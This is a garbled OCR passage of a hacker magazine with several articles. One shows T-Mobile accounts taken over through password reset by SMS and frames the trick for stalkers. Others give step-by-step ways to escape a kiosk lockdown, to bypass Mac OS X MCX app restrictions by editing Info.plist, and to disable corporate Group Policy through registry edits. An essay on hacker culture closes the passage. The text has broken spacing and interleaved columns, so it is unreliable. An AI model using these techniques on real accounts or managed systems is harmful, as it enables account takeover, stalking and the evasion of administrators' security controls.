account, maki ng  note of my call and givi n g  them 
permission  to give my phone  n umber to the 
owner shou ld he  call T-Mobi le to report his B lack­
berry missi n g .  

At this point, I decided to  fi nd  the owner my­
self. U nfo rtunately, there was little information 
i n  the address book of the B lackberry to he lp me 
fi nd  the owner. I knew the device's phone  num­
ber si nce the B lackberry shows the phone  num­
ber assigned to it i n  its phone  app li cati on .  But I 
cou ld have a lso ca lled my cell phone  from the 
B lackberry to fi nd  it ' s  number if I did n 't a lready 
know it. 

Si nce I knew the phone  number, I cou ld begin 
hacki ng  i nto the account. 

This is where the biggest prob lem i n  T-Mo­
bi le's data secu rity exi sts . The i nfo rmation  that 
the T-Mobi le customer care representative 
refused to give me due to "customer confidentia l-
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lty poli cies" was easi ly accessed via the phone  
p rovider's  website . Once on the T-Mobi le website, 
I clicked "fo rgot my password, "  entered the 
B lackberry's phone n umber, and  the account 
password was sent to the B lackberry via SMS 
(text message) . From there, I was  ab le to logi n to 
the account with the phone  n umber  and  the ac­
qui red password . I then had access to comp lete 
billi n g  records, calli n g  records, and  was ab le to 
make plan changes to the account. Lucki ly, I was 
ab le to fi nd  a legit emai l address in the bi lli ng  i n ­
formation  and  fi na lly got  i n  contact with the  
B lackberry's owner's father (appa rently he  was 
the one payi ng  the phone  bi ll) . I was ab le to lo­
cate a n d  return the B lackberry to the owner the 
next day, due to the information I obtai ned 
th rough  the extremely weak security on  the T-Mo­
bi le website . 

The more I thought about it, the more trou­
b led I became  with the way T-Mobi le hand les 
thei r  lost password retri eva l. I loo ked at other 
cel l  phone p roviders and  found  that out of the 
bi ggest five nationa l  providers i n  the  U nited 
States, o n ly T-Mobi le and  Ci ngu la r  send cus­
tomers thei r  lost passwords in this man ner  (via  
SMS text message after o n ly p rovid ing  a phone  
number) .  

These providers rely on p hysical  possession of 
the phone  (or actua lly the phone's SIM ca rd) to 
p rove ownersh ip .  I ca n imagi n e  many situations  
where it would be quite easy to  grab a person ' s  
phone  a nd  request you r  lost password to be sent 
to you from either of these company's websites 
( http ://www.t-mobi le .com or  http ://www.ci ngu­
la r. com ) .  A si mp le check of the text message sent 
to the phone  and you would have the password to 
the accou nt. 

On T-Mobile phones, you can dia l  #NUM# 
then  h i t  s end  a nd  the handset wi ll display its as­
sig ned n umber. Other fun com mands  that work 
the same way on  most T-Mobi le phones i nclude :  
#MIN# - Voice Mi n u tes Balance 

#BAL# - Account Bal ance 

#NUM# - Disp l ay Phon e Number 

#MSG# - Show Text Messages Used 

#PWD# - Reset the voi ce mai l  Password 

One  interesti n g  th ing to n ote is that many 
new smart p hones have web b rowsers and  Inter­
n et access. Theoretica lly, you could use the web 
browser on  the phone  to go  to the T-Mobi le or 
Ci ngu la r  site a nd  request you r  lost password . A 
couple of seconds later you 'd  get the text mes­
sage with the password . This cou ld a ll be done  
quickly with the victim 's  own phone .  I tried this 
with my T-M obile Sidekick II and from the ti me  
when  I picked up  the phone  a nd  used the Side­
kick's web browser to request the password to 
when I had  my account password in my text mes-

sage i nbox was less then two min utes, usi n g  o n ly 
the Sidekick  II itself. 

This is q uite sca ry when you thi n k  about it. 
Pretend  you a re a sta lker. You ca n now j ust stea l 
someone 's  phone  a nd  probably lea rn where they 
live (via account bi lli n g  address ) .  You cou ld a lso 
p robab ly obtai n their home phone numbers a nd  
emai l  addresses. You cou ld be rea lly sneaky a nd  
j ust stea l the phone's  S IM  card, si nce t he  victi m 
probab ly would n 't even notice for a whi le,  leavi n g  
you  t o  put the S IM  card i n  another p hone  i n  the 
p rivacy of you r  own home and  request the pass­
word i nformation  at you r  lei sure .  

Thi n k  about how many times you 've seen 
someone s howing  off how coo l  their expensive 
new phone  is. Usua lly they a re more then wi lli n g  
t o  let someone loo k  a t  i t  for a coup le o f  min utes 
if asked. They might never know how they may be 
putti n g  their data and  account information  at 
risk .  

You could be nosy and  ask  to borrow some­
one 's  T-Mobi le phone  a n d, whi le p retend ing to 
make a call, check their m inutes used and  thei r  
account ba la n ce o r  maybe even reset their voice 
mai l password a nd  listen to their voice mai l .  

The root cause of this data i nsecurity is that T­
Mobi le a nd  Ci ngu la r  have their systems set up  to 
on ly rely on  p hysica l possession of a phone  o r  
S IM  card to  p rove the account owner's identifica­
tio n .  All other  providers requi re either  the knowl­
edge of a un ique user ID (that is different from 
the account phone  number) or a nswers to secu­
rity questions  before they use email to send lost 
passwords. 

Unti l  their system is changed, T-Mobi le a nd  
Ci ngu la r  customer  data can be a t  risk .  I would 
recommend  T-Mobi le a nd  Ci ngu la r  customers p ro­
tect themselves by usi n g  a locki n g  key guard with 
a pass code. Most phones have these. It requi res 
a password before the phone's functions  a re a ble 
to be accessed. This simp le step would stop 
someone from picki n g  up  you r  phone  and usi n g  it 
without your knowledge .  I would a lso be very 
ca refu l who you let use you r  phone  and  be very 
observant when you do  let someone use it. Send­
ing emai l to T-Mobi le and Ci ngu la r  and  b lasti n g  
t hem  for putti n g  you r  i nformation  a t  ris k  might 
he lp n udge them i nto fixi ng  the insecurity of  
their systems .  A more extreme so lution  wou ld be 
to simp ly switch service providers. Unti l  these 
companies change their systems to make them 
more secu re, users s hou ld stay vigilant a nd  
change their account passwords on a regular 
basis .  
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by aLokinciLo 
This a rticle descri bes a very si mp le approach 

to tracki n g  Ego Surfi n g  - people searchi n g  for 
themselves or other people o n li n e. Some exam­
p les of why th is  is usefu l: an  employer may check 
you r  name  on li n e  when you submit a resume, you 
may want to keep tabs on searches on your  
friends  o r  foes, or  you may j ust want to keep your  
own Ego Surfi n g  i n  check so that you wou ld know 
approxi mately h ow many ti mes you typed you r  
own  name  i nto a sea rch engine .  

So h ow is this done? I chose Google as my 
sea rch eng ine because of its cu rrent dominance 
The so lution  is to open up a Google AdWords ac­
count a nd  register a l l  the names you a re inter­
ested i n  tracki ng .  You have to create some sort of 
an ad that wi ll appear when your ta rget name  is  
searched for. An important point  to make is  that 
you want this ad  to be such that visitors wi ll not 
actua lly click  o n  it as  you wi ll then be charged 
the cost-per-click  (CPP) rate that was determi ned 
when you were defi n i ng  the ta rget words. I sug­
gest creati n g  a vague  ad for a person-find ing  web 
site such as peoplesea rch .com as  it wi ll probab ly 
n ot i ntrigue  vi sitors enough  to actua lly click  on  
i t .  You don't need (or  want) them to  cli ck  on the 
ad  for you to track how many times it has  been 
searched for. The AdWords control panel s hows 
the exact breakdown of h ow many times each of 
your search terms (i n this case names) has been 

displayed and cli cked . For purposes of this a rticle 
I set up  Ego Tracki ng  for "jo h n  smuda" .  Do a 
Google sea rch a nd  notice the ads on the right  
side :  
http : / /www . google . c om/ searc h ? h l = e n & q= % 2 2  

- j ohn+ smuda % 2 2 & btnG=Google+Search 

Even if vi sitors click  on the ad  and Google 
thus charges you, you can set limits to you r  dai ly 
spendi ng .  Li mits can be as small as $1 .  Google 
determi nes CPP rates based on the sea rch stri ng  
you  a re defi n i ng .  I f  the name  you  a re sea rch ing  
for i s  very popular, th i s  trick wi ll obvious ly not  
work .  Tracki n g  " B ritney Spears" wi ll put you 
head-to-h ead  agai nst many advertisers that a re 
usi n g  her  popula r  name  in thei r  targeted ads, 
maki ng  the CPP h ig h .  But if you a re search ing  for 
a n  average less popu la r  name, you shou ld get a 
standard CPP of about $0 . 10 .  If you desi gn  you r  
ad  to  be suffici ently vague  and  cleverly dumb, 
nobody wi ll click  on it, yet the ad wi ll have been 
displayed .  The o n ly thing you need is  a va lid  
credit card n umber and  a few do lla rs o n  it, be­
cause the startup fee for an  AdWords ca mpaign  i s  
$5 .  After that, you can track everythi n g  - most 
li kely for free - in your AdWords contro l pane l, 
knowing  exactly how many times a certa in name  
has  been  searched for on the Google network. 
Enjoy. 

Pullilc IIct: 
by Insert Name Here 

By now I'm sure a lmost everyone  has  seen 
pub li c  computers that can be used to access the 
Internet for a fee .  Most times they're i n  a ma ll or  
a PX ( i f  on  a mi lita ry i n sta llation )  and  a llow you 
free access to a certai n website ( li ke the ones 
found  i n  BestBuy a nd  the li ke) . Well, I'm here to 

you about a little exp loit that can be used to 

S u a a e r  Z O O  I. 

gai n access to a 
that wi ll a llow you 
a llowi ng  you to surf to a ny you not 
j ust the one(s) the  company wants you to see. 

In order to execute this properly, you'll n eed 
some ki nd  of media fi le that i s  avai lab le on  the 
free-to-view website . In my case it was a ri n gtone  
samp le from a cell phone  ad .  When you  cli ck  t he  
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li n k  to the media fi le, Windows Media Player 
opens up to p lay the fi le . Immediately click 
"Stop"  ( not li ke you rea lly care about the ring­
tone  a nyways ) .  Then expand  Windows Media 
Player so you can see the fi le menu  up on top .  
C lick on "Tools" then  select " Plug-ins "  and  an­
other little fi le menu  window wi ll pop up  on  the  
side .  Select " Down load  Additiona l  Plug-ins "  a nd  
l o  a nd  beho ld ,  a nice I E  window shou ld pop  up .  

N ow, depending  on how well (in )secured the  
system is,  a n umber of  things  cou ld happen . In 
my case the computer a llowed a lmost fu ll use of 
IE ,  h owever the actua l  " Fi le" part of the fi le menu 
was hidden ,  so you cou ldn't use it to open fi les 
on the  h a rd d rive or open any more IE windows. 
Alt+N was disab led as well , so n o  new IE  windows 
that way. Alt+tab was disabled ,  so no switchin g  
between running  app lications .  In fact, i t  seemed 
that most every a It+ [ key] and [windows 
key] + [ key] combination were disab led . Also,  they 
disa llowed IE access to the ha rd d rive , so typing  
something  li ke "file:/ /C:/" in  the U RL box  just 
popped up  a message stati ng  that access to that 
was not a llowed or  something  to that effect. One  
nice t h i ng  was  that AIM and  Ya hoo !  instant mes­
sengers both put icons on the I E  toolbar, so I 

by Sibios 
sibios@gmail.com 

Mac as x has been released with a program 
that limits what program users a re a llowed to run 
based on  a simp le set of fi les . This program is 
ca lled MCX. This a rti cle is aimed at disp laying  the 
wea knesses in  MCX and the XML fi les that Mac as 
x uses to defi ne  both the app lications  that a re 
insta lled on the system and  the app lications that 
a user ca n run .  Most of my research is based 
a round  the Macs that I use daily a round  my 
school, which a re set up  as an envi ronment in 
which all student data , apps ,  and  user setti ngs  

could la unch  those apps without any trouble at  
a ll .  

This just goes to show that n o  matter how 
locked down a computer system is,  somethi ng  is 
a lways missed.  The system admins  took  care to 
lock down just about everything  I could thi n k  of, 
but they forgot Windows Media Player because 
p resumab ly there was n o  way for any user to a c­
cess it, autho rized or n ot. They didn 't take i nto 
account, however, the fact that maybe a nother 
program might la unch  it ,  li ke Internet Explorer 
did fo r me. Sad ly, us hackers seem to be better at 
thei r  jobs than they a re .  Ta ke for examp le the 
computer I 'm on  now. Every computer in  the 
room is down because of a bad patch that was ap­
p lied in  the midd le of the night, a pa rt from this 
one .  But the keyboard wasn't worki ng .  The tech 
came  in  to loo k  at it, cou ldn't figu re it out, a nd  
t hen  left. A few min utes b a c k  there yie lded a b ad  
keyboard extension cable. Sometimes things  a re 
so painfu lly obvious it ma kes me wonder how 
they ever got thei r  jobs . . . .  

O K ,  enough  o f  m y  ra nti n g .  Good luck on you r  
hacki ng  adventures, fellow tech no logy enth usi­
asts .  

a re stored on the loca l XServes . The physica l 
computers that one  interfaces with act as termi­
na l  clients to the servers. As with most docu­
ments I will simp ly remove al l  responsibility from 
myself as a writer for what you do in front of one  
of  the computers you  use .  I wi ll a lso lie about 
h ow this a rticle is pu rely for educationa l  pu r­
poses and  is not intended for a ny ma lignant uses. 
I don 't care what you do ,  enjoy the knowledge or 
exp loit it, but I'm not responsib le for you r  ac­
tions .  

After logging  in  to a use r  account one  can 
view the MCX preferences that have been ascribed 
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to them by accessi n g  "jUsersj<USER  AC 
-CO U NT>jLibra ryjPreferencesjcom .app le . MCX. p l  
-ist" . A l l  Mac OS X app li cations  a re defi ned by  a 
specifi c sequence based on the ur l  at which they 
cou ld be found  o n li ne .  Exa mp les: Apple's Safa ri i s  
"com .app le. Safa ri ", Mozi lla Fi refox is 
"org . mozi lla . Fi refox", Adobe Photoshop  wou ld be 
"com .adobe. Photoshop" .  This seems to mimic the 
DBus  program that one  can fi nd  on  Li nux  in­
tended to provide means  for communication  be­
tween app li cations .  All of these texts a re used to 
defi ne  what the app li cation  is .  Now that we know 
this, the question  remai ns  " H ow can one  exp loit 
this?" This question  has a si mp le answer: when 
one  can n ot exp loit the server, one  exp loits the 
cli ent. In this case, we wi ll modify our  app li ca­
tions  so that MCX thi n ks that we a re runn ing  a 
program that we a re a llowed to run .  But if you 
have access to a termina l  you shou ld be ab le to 
run any app li cation  you want without any MCX i n ­
terference. However, we  wi ll demonstrate the  
method of  tri cki ng  MCX to  ga i n  access to  the Ter­
mi na l. 

After loggi ng  i n, one  would open up the 
Fi nder  app  a nd  access "jAppli cationsjUti lities" .  If 
you a re lost in the world of the Fi nder, click  the 
little icon of a house i n  the dock to open a Fi nder  
wi ndow and  access you r  ha rd d rive (there i s  a n  
i con  on  t h e  left on  the standard i n stall) . You wi ll 
see an "Applications "  fo lder, doub le click  that, 
fo llowed by the " Uti lities" fo lder. At this poi nt 
you may want to try runn ing  the Termi na l  nor­
ma lly Gust double click  it) . If MCX has  been set 
up  by a semi-competent admin  you shou ld get a 
warni ng  that reads "You do not have permission  
to  open the app li cation  'Termi na l' .  Contact the  
person who admi nisters you r  computer or  your 
network administrator for assistance . "  I s hou ld 
a lso mention  that the Fi nder  h ides many th ings 
from the user. Anyth ing  with a " . "  before the 
name  (standard ' nix  h idden syntax) wi ll be hid­
den, any di rectory with some name fo llowed by a 
" . app "  or a " . p kg "  wi ll appear as a doub le-click­
ab le app li cati o n .  On that note, let's copy the Ter­
mina l  app to a fo lder in which we can do some 
work on  it (your  home  di rectory would be appro­
p riate ) .  

After returnin g  to  your  home  di rectory (or  
wherever you copied the app  to)  you shou ld fi nd  
a fresh  copy of  the Termi na l  (or whatever you 
copied) . At this point you want to control-click  
the icon and  select "Show Package Contents " .  A 
new Fi nder wi ndow wi ll pop up showi ng  the con­
tents of the Termi na l . app .  Inside you shou ld see 
a fo lder named "Contents" .  Inside  the "Contents" 

fo lder you shou ld fi n d  th ree fi les a nd  two fo lders 
"Info . p list", " PkgInfo", "versi on . p li st", "MacOS", 
and  " Resou rces" ( respectively) . You wi ll want to 
edit "Info . p li st" so go a head  and  open it in a 
standard ASCIIjUTF-8 text editor. Inside you 
shou ld fi nd  a bunch  of fun little va ri ab les that 
control the interactions  between Da rwi n and the 
Termi na l. If you want to be ab le to doub le-click 
the . app  and run the program you wi ll want to 
modify the <stri ng>  associated with the  "CF­
Bund leIdentifier" < key>. This variab le identifies 
the program and  reports to MCX. You wi ll want to 
modify this to somethi ng  you know that you a re 
a llowed to run .  I usua lly change it to "com . ap­
p le . Safa ri " or "com .app le. Previ ew" . If you real ly 
want to be ab le to run this app, change  it to 
somethi ng  the admins  can not b lock with MCX: 
the Fi nder, the q ui ntessentia l  Mac OS X app :  
"com .app le .fi nder" .  You shou ld be ab le to  back 
out of the Contents, ' . app  fo lder, and doub le­
click the app  icon to start it. I have noted that 
the system does n ot a lways recognize the up­
dates . We can force a n  update by renaming  the 
app li cation  and changi ng  it back to its o rigi n a l  
name .  

If  you a re a GU I  sort of person just  repeat this 
for a l l  of the app li cations  that you want to run .  
On  the other h and, if you  a re wi lli n g  to  get your 
hands di rty, you need on ly free up  access to the 
Termi na l  to access these programs .  For example, 
suppose that you rea lly want to run the i n stalled 
version  of iTunes .  Pop open a Termi na l  a nd  toss it 
the fo llowi n g  command :  
/Applications/i Tunes.app/Con ten ts/MacOS 

_ /i Tunes 

Or, for about any other app li cation  just fo llow 
the general  ru le of "j<location  of . app>j<app 
name>.appjContentsjMacOSj<app name>" .  Any 
program that i s  run via the Termi na l  app  is  not 
checked by MCX for permissions .  These com­
mands however fa ll under  the protections  that 
are bui lt i nto the U nix core (Mach Kerne l) that 
Darwi n  runs on top of. This knowledge wi ll n ot 
make a nyone  a fig urative deity on a Mac OS X sys­
tem but it can give a clueless admin  a shock .  The 
uni nformed often tote Mac OS as the smart a lter­
native to Wi ndows for safety purposes, h owever it 
is q uite obvious that it is not nea rly as secure as 
many li ke to believe. When i n  doubt use U nix per­
missions  for actua l  secu rity, have fun on any OS X 
systems you encounter, and  i nform the rest of us 
if you fi n d  anyth ing  cool. 

Vi el Spass Ki nder !  
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G up Policy: Just Say No! 

by WagStaff 
G roup Poli cy is a Mi crosoft Wi ndows techno l­

ogy that supports centra lized ma nagement of 
machi nes and  users i n  a Wi ndows domain envi­
ron m ent, either with or  without Active Di rectory 
(AD ) .  It functions  by mergi n g  registry chan ges 
i nto the loca l Wi ndows registry via the distribu­
tion  of G roup Poli cy Objects ( G POs) . G POs a re 
specialized snippets of registry fi les contai n ing 
the desi red registry setti ngs .  

The i niti a l  processi n g  of G roup  Poli cy occu rs 
when the computer sta rts up a nd  when the user 
logs on, which is a lso referred to as "foreground"  
poli cy app li cati on .  The system a lso app lies ( re­
freshes) Group  Po licy in the "background "  on a 
periodic basi s .  By defau lt, there is a refresh every 
90 min utes plus or  mi nus  up to 30 mi n utes (this 
is a ra ndom delta app lied to keep a ll worksta­
tions  in the domain from updati n g  G POs at the 
same ti me) .  

G POs a re used  by  sysadmins  to enab le or  dis­
ab le a la rge variety of Wi ndows featu res and/or 
behaviors.  If a registry entry u nder G PO control is 
changed by a user, the Group Poli cy process en­
sures that these changes a re " undone"  and  re­
p laced with the setti ngs  p resent in the G PO .  This 
behavior  can be appropriate a n d  hig h ly desirab le 
i n  a controlled corporate setti ng .  H owever, this 
behavio r  can be quite a n noyi n g  and undesi rab le 
when, for examp le, a home  computer is used to 
con nect to the corporate network so that the em­
ployee may work from home.  Of course, this situ­
ation  can and  shou ld be p revented by the proper 
app lication  of G POs. Sad ly, though, not a ll sysad­
mins  a re created equal. So we m ust have a way to 
deal  with these sorts of rea l world issues. 

After Googli n g  unsuccessfu lly for a set of in­
structions  on  h ow to loca lly disable the G PO 
propagation  vi rus (did I say that out loud?)  on  

Wi ndows systems, I decided to  lea rn the detai ls 
of the mechanisms i n  use a nd  write my own set of 
i nstructions .  My resu lts fo llow. Please read these 
i nstructions  completely before attempti ng  any of 
these changes, a nd  be sure you a re comfortab le 
editi n g  the Windows regi stry. You r  mi leage may 
va ry. Void where proh ibited .  Some settli n g  of 
contents may have occu rred du ri ng  sh ippi n g .  
Don 't run with scissors . . . .  

To disable "Group Poli cy" propagation  t o  a 
Wi ndows NT4/2000/XP workstation, perform the 
fo llowi n g  steps, i n  order, wh i le logged i nto the 
workstation  with Administrator privi leges: 

( N ote: If you don 't have administrative p rivi­
leges on the affected computer, p lease see the 
numerous tutori a ls avai lab le on  h ow to "acquire" 
these privi leges as it i s  beyond  the scope of this 
a rti cle . )  
Step 1 :  

Rename :  C :\WINDOWS\system32\d llcache\ 
-gpupdate. exe 

To : C :\WIN DOWS\system32\d llcache\gpup 
-date.exe. save 

Cli ck  "OK" on any warni n g  messages. 
Rename :  C :\WINDOWS\system32\d llcache\ 

-secedit. exe 
To : C :\WIN DOWS\system32\d llcache\sec 

-edit.exe. save 
C lick  "OK"  on a ny warni ng  messages. 

Step 2:  
Rename :  C :\WINDOWS\system32\gpupdate. exe 
To : C :\WIN DOWS\system32\gpupdate.exe. save 

Click "OK"  on any wa rni n g  messages. 
Rename :  C :  \ WIN DOWS\system 32\secedit. exe 
To : C: \ WIN DOWS\system3 2 \secedit. exe . save 

C lick  "OK" on a ny wa rni ng  messages. 
The above changes a re made to prevent futu re 

"command  li ne" i nitiated updates to loca l G roup  
Poli cy. I f  the risk  of that  i s  low/nonexistent, 
these two steps can be s ki pped enti rely. The exe­
cution  order of the above steps is necessary to 
deal  with the "Wi ndows Fi le Protection "  (WFP) 
mechanism i ntroduced by M$  i n  Windows 2000. 
Step 1 is not necessa ry on  a Wi ndows NT4 work­
station, si nce it does n ot imp lement WFP. 

As a n  a lternative, you cou ld disable WFP en­
ti rely (these detai ls a re a lso beyond the scope of 
this a rticle) and  rename  on ly the two fi les pre­
sent in "C :\WIN DOWS\system32 "  (Step 2 ) .  To 
avoid starti n g  a religious wa r on the merits of the 
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WFP mechani sm ,  I have opted i n stead to describe  
the above steps wh ich  sidestep that  sometimes 
sensitive issue. Movi n g  on . . . .  
Step 3 :  

Search t h e  boot/system d rive (usua lly "C : " )  
for a ll fi les named " *  . po l" and  rename  them or  
de lete them.  

Most of  these files wi ll appear under  various 
user home di rectories under  the "C :\ Documents 
and  Setti ngs" fo lder structu re (e . g . ,  "C :\ Docu­
ments and Setti ngs\All U sers\ntuser. pol" ) .  These 
a re the actua l  po li cy fi les that a re created by the 
domain SysAdmins  and distri buted th roughout 
the domain via the G PO p rocess. Si n ce we' re try­
i n g  to disab le this activity, these fi les a re no  
longer  necessa ry. 
Step 4a: 

For Windows NT4: Navi gate to the fo llowi n g  
regi stry key: 
HKEY_LOCAL_MACHINEI S YSTEMICurren t 

-Con trol Set I Con trol I Upda te 

Create a new REG_DWORD entry there named 
" UpdateMode" if it doesn 't a lready exist. 

Set its value to 0 (i n hex OxOOOOOOOO) ( e . g . ,  
" UpdateMode"=dword :OOOOOOOO) .  

Th i s  step disab les NT 4-based domain  G POs .  If 
you a re sure you r  domain exclusive ly uses Win­
dows 2000-or-newer servers to manage the do­
main (e . g . ,  you r  domain  i s  AD-based and does 
n ot distri bute NT4-based G POs for backwards 
compati bi lity) , you can ski p  this step.  If i n  doubt, 
performi ng  this edit when not necessary causes 
no  ha rm .  
Step 4b: 

For Windows 2000: Navi gate to the fo llowin g  
registry key: 
HKEY_LOCAL_MACHINEISoftware l policies l 

-Microsoft I Windows I Syst em 

Create a new REG_DWORD entry there named 
" DisableG PO" if it doesn 't a lready exist. 

Set its va lue to 0 (i n hex OX00000001) ( e . g . ,  
" DisableG PO"=dword :00000001 ) .  

This step disables AD-based domain G POs o n ly 
for Windows 2000 clients .  If you ' re n ot runn ing  
Wi ndows 2000 (e . g . ,  you ' re runni n g  Windows 
XP) , you can skip this step.  M$ disabled this oth­
erwise usefu l feature in the Wi ndows XP "Go ld "  
code  release. Performi n g  th i s  edit on  a Wi ndows 
XP client provides you with some typi ng/clicki n g  
exerdse, but not muc h  else. 
Step 5: 

Navigate to the fo llowi ng  regi stry key: 
HKEY_LOCAL_MACHINEI SOFTWARE IMi crosoftI 

-Win dows \ Curren t Versi on \pol icies \ system 

Create the R EG_DWO RD entries listed below if 
they don 't a lready exi st. 

Set the values as i ndicated .  
"Synchron ousMachineGroupPoli cy"=dword: 

- 0 0 0 0 0 0 0 0  

"SynchronousUserGroupPol i cy"=dword: 

- 0 0 0 0 0 0 0 0  

"Disabl eBkGndGroupPol i cy "=dword: 0 0 0 0 0 0 0 1  

"MaxGPOScriptWa i t"=dword: 0 0 0 0 0 0 0 1  

"RunLogonScript Sync"=dword: O O O O O o o o  

This step does n ot actua l ly disable G POs .  
Rather, it makes them sli g htly less a n noyi ng  
shou ld you  choose not to  completely disable 
them.  It prevents the background  refresh  which 
was discussed previ ously and  keeps foreground  
G PO refreshes from s lowi ng  down  the boot/logi n 
p rocess. This step is optiona l  a nd  can be s ki pped 
enti rely if a fu ll disab li n g  of loca l G PO processi ng  
i s  you r  desi red end-state . 
Step 6: 

Change the permissions  on  the fo llowi ng  reg­
istry keys to remove " Ful l  Control" from every 
user/group except you r  domain logon  account to 
which you wi ll add  " Fu ll Control" permissions :  
HKEY_LOCAL_MACHINEISOFTWAREIPol i ci es 

HKEY_LOCAL_MACHINEI SOFTWAREIMi crosoftI 

-Windows ICurren t version Ipol i ci es 

HKEY_CURRENT_USER I Software IPol i cies 

HKEY_CURRENT_USERI Software IMicrosoftI 

-Windows ICurrent Version IPo l i ci es 

You wi ll have to "Add" you r  user account to 
the security list for the two H KLM key locations  
a nd  give it " Ful l  Control" permissions  prior  to  re­
moving  the " Ful l  Control" permissions  from the 
other  li sted users/groups .  It shou ld a lready exist 
in the list for the two H KCU keys , but it won 't 
have " Ful l  Control" permissions  unti l you add  
them.  
Step 7 :  

Reboot the PC ( h ey, it's Wi ndows, not * nix ! ) .  
Step 8: 

Proceed to make any changes to your PC con­
figuration  secure i n  the knowledge that G roup 
Poli cy pushes wi ll n o  longer  be a n  issue ! Ha llelu­
j a h !  

Please note that Step 6 i s  the true "meat" i n  
this p rocedure for AD-based domains  (currently, 
the most com mon  type of Wi ndows domain con­
figu ration ) .  You can genera lly achieve the de­
sired resu lt in an  AD-based domain by o n ly 
performing that si n g le step.  The other steps a re 
merely for less-common  envi ronments or for 
added insu rance .  If you want a quick back-out 
strategy in an AD-based domai n ,  then you shou ld 
consider  o n ly performi ng  Step 6 .  

Also, I haven't va lidated these steps yet i n  the 
Wi ndows Vista (formerly " Long horn " )  envi ron­
ment. A l l  i n dications  a re that  they wi ll work  there 
"as-is , "  espeda lly if Wi ndows Server 2003 or ea r­
lier  servers a re used to manage the domai n .  If 
necessa ry, I ' ll update these i n structions  once M$  
releases the "Go ld "  code  for Wi ndows Vista/Vista 
Server (2007? ) .  
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A h acker is someone  who thi n ks o utsi d e  
the  b o x .  It's someone  w h o  disca rds conve n ­
tio n a l  wisdo m ,  a n d  d oes s o m ethi n g  else i n ­
stead .  It's s o m e o n e  w h o  loo k s  at the  e d g e  
a n d  wo n d e rs what's beyo n d .  It's someone  
w h o  sees  a set of ru les a n d  wo nders what  
h a p p e n s  if you don 't  fo llow th e m .  A ha cker i s  
s o m e o n e  w h o  experi m e nts with the li mita­
ti o n s  of system s  fo r i ntellectua l  curiosity. 

I wrote that last sente n ce i n  the  yea r 
2000,  i n  my book  Beyond Fear. A n d  I 'm sti ck­
i n g  to that d efi niti o n .  

This i s  what e lse I wrote i n  Beyond Fear: 
" H a ckers a re as o ld as c u riosity, a lth o u g h  

the  term itself is  m odern . G a li leo w a s  a 
h acker. M m e.  C u ri e  was o n e ,  too .  Ari stotle 
was n 't. (Ari stotle h a d  s o m e  theoretical  p roof 
that women had fewer teeth than m e n .  A 
h acker wo u ld h ave si m p ly co u nted his  wife's 
teeth . A good h acker wo u ld h ave co unted h is  
wife's teeth without h e r  knowi n g  about it, 
whi le she was a s leep.  A good bad hacker 
might  rem ove some of t h e m ,  j ust to p rove a 
point . )  

"When I was i n  co llege, I knew a g ro u p  
si m i la r  t o  h ackers:  the  key frea ks .  They 
wa nted access, a n d  thei r  goal  was to h ave a 
key to every lock on ca m p us .  They wo u ld 
study lockpi cki n g  a n d  lea rn n ew tec h n i q ues,  
trad e  maps of the  stea m tu n n els and where 
they led ,  a n d  excha n g e  copies of keys with 
each oth e r. A locked door was a cha llenge , a 
perso n a l  affro nt to thei r  abi lity. These peo­
p le were n 't out to do d a m a g e  - stea li n g  stuff 
was n 't thei r  objective - a lth o u g h  they cer­
tai n ly co u ld have. Th ei r  h o b by was the power 
to go  a nywh e re they wa nted to. 

" Re m e m b e r  the p h o n e  p h rea ks of yester­
yea r, the o n es who co u ld whistle i nto pay­
p h o n es a n d  m a ke free p h o n e  ca lls . S u re,  
they sto le p h o n e  service.  B ut it wasn 't li ke 
they n eeded to m a ke ei g h t- h o u r  ca lls to 
M a n i la or M cM u rd o .  And thei r  rea l work was 
secret k n owledge:  The p h o n e  n etwo rk was a 
vast maze of i nfo rmati o n .  They wa nted to 
k n ow the  system better than  the  desi g n ers, 
and they wa nted the a b i lity to m odify it to 
thei r  wi ll. U n d e rsta n d i n g  how the  p h o n e  sys-

tem wo rked - that was the  true p rize.  Oth e r  
ea rly h ackers were h a m -radio h o bbyists a n d  
m o d e l-trai n enth usiasts . 

" Ri ch a rd Feyn m a n  was a h acker; read  any 
of h is  books .  

" Co m p uter hacke rs fo llow these  evo lu­
tio n a ry li nes .  O r, they a re the sa m e  g e n u s  
operati n g  o n  a new system .  C o m p uters, a n d  
n etwo rks i n  p a rti c u la r, a re the  n ew la n d ­
scape  t o  be exp lo red . N etwo rks p rovi d e  the  
u lti m ate maze  of  stea m tu n n els ,  w h e re a n ew 
hacki n g  tec h ni q u e  beco m es a key that ca n 
open  co m p uter after co m puter. And  i n side i s  
kn owledge,  u n d e rsta n di n g .  Access .  H ow 
thi n g s  work.  Why thi n g s  work.  It's a ll out 
there,  waiti n g  to be discovered . "  

C o m p uters a re the  perfect p layg ro u n d  fo r 
h ackers.  Computers , a n d  co m p uter n etwo rks,  
a re vast treas u re troves of secret k n owledge.  
Th e Internet is  a n  i m mense  la n dscape  of  
u n discovered i nfo rmati o n .  Th e m o re yo u 
kn ow, the  m o re yo u ca n d o .  

And  it s h o u ld be n o  s u r p rise t h a t  m a ny 
h a c ke rs h ave focused thei r  s ki lls on co m ­
p uter secu rity. N ot o n ly i s  it often the obsta­
cle between the hacker a n d  kn owledge,  a n d  
t h e refo re s o m ethi n g  t o  b e  d efeated , b ut a lso 
the  very m i n dset n ecessa ry to be good at se­
cu rity i s  exa ctly the  sa m e  m i n dset that h ack­
e rs h ave: thi n ki n g  o utsi de the box, b rea ki n g  
t h e  ru les, exp lo ri n g  t h e  li mitati o n s  o f  a sys­
tem .  The easiest way to b rea k a secu rity sys­
tem i s  to fi g u re out what the system ' s  
desi g n e rs h a d n 't t h o u g h t  of: th at's secu rity 
hacki n g .  

H a ckers ch eat. A n d  b rea ki n g  secu rity reg­
u lar ly i nvo lves ch eati n g .  It 's  fi g u ri n g  out a 
s m a rt ca rd 's RSA key by loo ki n g  at the power 
fluctuati o n s ,  beca use the  desi g n e rs of the 
ca rd n ever rea lized a nyo n e  could do  that. It's 
self-si g n i n g  a piece of code, beca use the sig­
natu re-verificati o n  system did n 't thi n k  
s o m e o n e  might  try that. It' s usi n g  a piece of 
a p rotocol  to b rea k a co m p letely different 
p rotoco l, beca use a ll p revi o u s  secu rity a n a ly­
sis o n ly looked at p rotoco ls i n dividua lly a n d  
n o t  i n  pairs .  

'--.P a g e  2 b ------------------- 2 b O O  f1 a 9 a z i n e 



Th at's secu rity hacki n g :  b reaki n g  a system 
by thi n ki n g  differently. 

It a ll s o u n d s  cri m i n a l: recoveri n g  e n ­
